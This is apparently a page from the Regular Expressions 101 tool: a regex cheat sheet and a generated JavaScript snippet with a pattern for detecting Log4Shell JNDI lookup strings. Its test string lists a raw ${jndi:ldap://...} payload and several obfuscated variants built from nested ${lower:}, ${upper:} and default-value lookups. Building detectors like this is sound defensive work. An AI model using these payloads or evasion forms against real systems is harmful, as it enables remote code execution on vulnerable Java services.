Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
No Match

/
/
gm

Test String

Code Generator

Language

Generated Code

const regex = /\${(\${(.*?:|.*?:.*?:-)('|"|`)*(?1)}*|[jndi:lapsrm]('|"|`)*}*){9,11}/gm; // Alternative syntax using RegExp constructor // const regex = new RegExp('\\${(\\${(.*?:|.*?:.*?:-)(\'|"|`)*(?1)}*|[jndi:lapsrm](\'|"|`)*}*){9,11}', 'gm') const str = `[>] jndi inject model start... [+] Raw payload: \${jndi:ldap://127.0.0.1:1099/obj} [+] {[upper|lower]:x} Random obfuscate: \${\${upper:j}ndi:ldap\${lower::}//127\${lower:.}\${lower:0}.0.1\${lower::}1\${lower:0}9\${lower:9}/ob\${lower:j}} [+] {[upper|lower]:x} all the obfuscate: \${\${upper:j}\${lower:n}\${lower:d}\${lower:i}\${lower::}\${lower:l}\${lower:d}\${lower:a}\${lower:p}\${lower::}\${lower:/}\${lower:/}\${lower:1}\${lower:2}\${lower:7}\${lower:.}\${lower:0}\${lower:.}\${lower:0}\${lower:.}\${lower:1}\${lower::}\${lower:1}\${lower:0}\${lower:9}\${lower:9}\${lower:/}\${lower:o}\${lower:b}\${lower:j}} [+] {::-n} random obfuscate: \${jn\${zwbIes:o:Bmmy:YGM:IoEt:-d}\${nNJ:bP:LLecz:-i}\${V:aTCz:SMYnf:nVwz:iWrhM:-:}l\${IkcQG:KqY:DNlC:blYP:-d}\${dMnno:LY:lm:o:gfceFK:-a}\${YRLF:-p}\${oPWM:tEf:Nm:B:gtF:-:}\${Kw:-/}/12\${oyBx:-7}.\${fGURHq:jUkxp:LiRat:TFGT:-0}\${RsEN:-.}\${gqxRsv:-0}.\${DP:A:zc:Bxk:-1}\${Fgp:xnDqO:ymI:Ei:OiGvf:-:}109\${BNuY:RNph:VQ:-9}\${OEB:mqId:ShLsGJ:WGCQ:-/}o\${JQ:ipL:PkyY:-b}j} [+] {::-n} all the obfuscate: \${\${w:Diwn:-j}\${nefD:Xih:oCs:l:-n}\${cFCwSi:AA:tOqrpE:-d}\${fC:ap:uQ:jOT:Dw:-i}\${lMK:HQnIQ:Tdn:MzzGN:-:}\${dumM:-l}\${d:wSdIa:Ot:-d}\${XB:oktyjp:QTCl:-a}\${KbVE:YOA:qRaof:z:nwv:-p}\${XFMG:B:uz:gb:-:}\${pBmmGn:waCidF:TXkIzf:-/}\${bnb:Qi:vhQi:-/}\${spw:t:Lgo:fmcGv:-1}\${PvEYM:T:FpFw:c:C:-2}\${Tzd:Sn:WXeQ:-7}\${cg:xw:qoJuX:NVjaam:-.}\${P:vkp:MP:YgX:DoHSm:-0}\${jAO:i:zlpnK:aeGVI:YFHd:-.}\${jDvpmy:xc:-0}\${g:XCXx:yQImF:-.}\${QQ:GYcUYC:-1}\${CON:XEI:EcX:REGEIc:-:}\${ipIDmp:jVt:-1}\${LHjMhu:liwEPU:qFQRj:PL:-0}\${nUfCc:TKhXP:Slx:IY:-9}\${cbEh:vz:Szv:-9}\${eFAO:F:-/}\${fqUl:EElTW:Jbm:e:WOJDWw:-o}\${CewNm:arlr:-b}\${DULc:DFbNv:JMEG:i:-j}} [=] jndi inject model stop `; // Reset `lastIndex` if this regex is defined globally // regex.lastIndex = 0; let m; while ((m = regex.exec(str)) !== null) { // This is necessary to avoid infinite loops with zero-width matches if (m.index === regex.lastIndex) { regex.lastIndex++; } // The result can be accessed through the `m`-variable. m.forEach((match, groupIndex) => { console.log(`Found match, group ${groupIndex}: ${match}`); }); }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for JavaScript, please visit: https://developer.mozilla.org/en/docs/Web/JavaScript/Guide/Regular_Expressions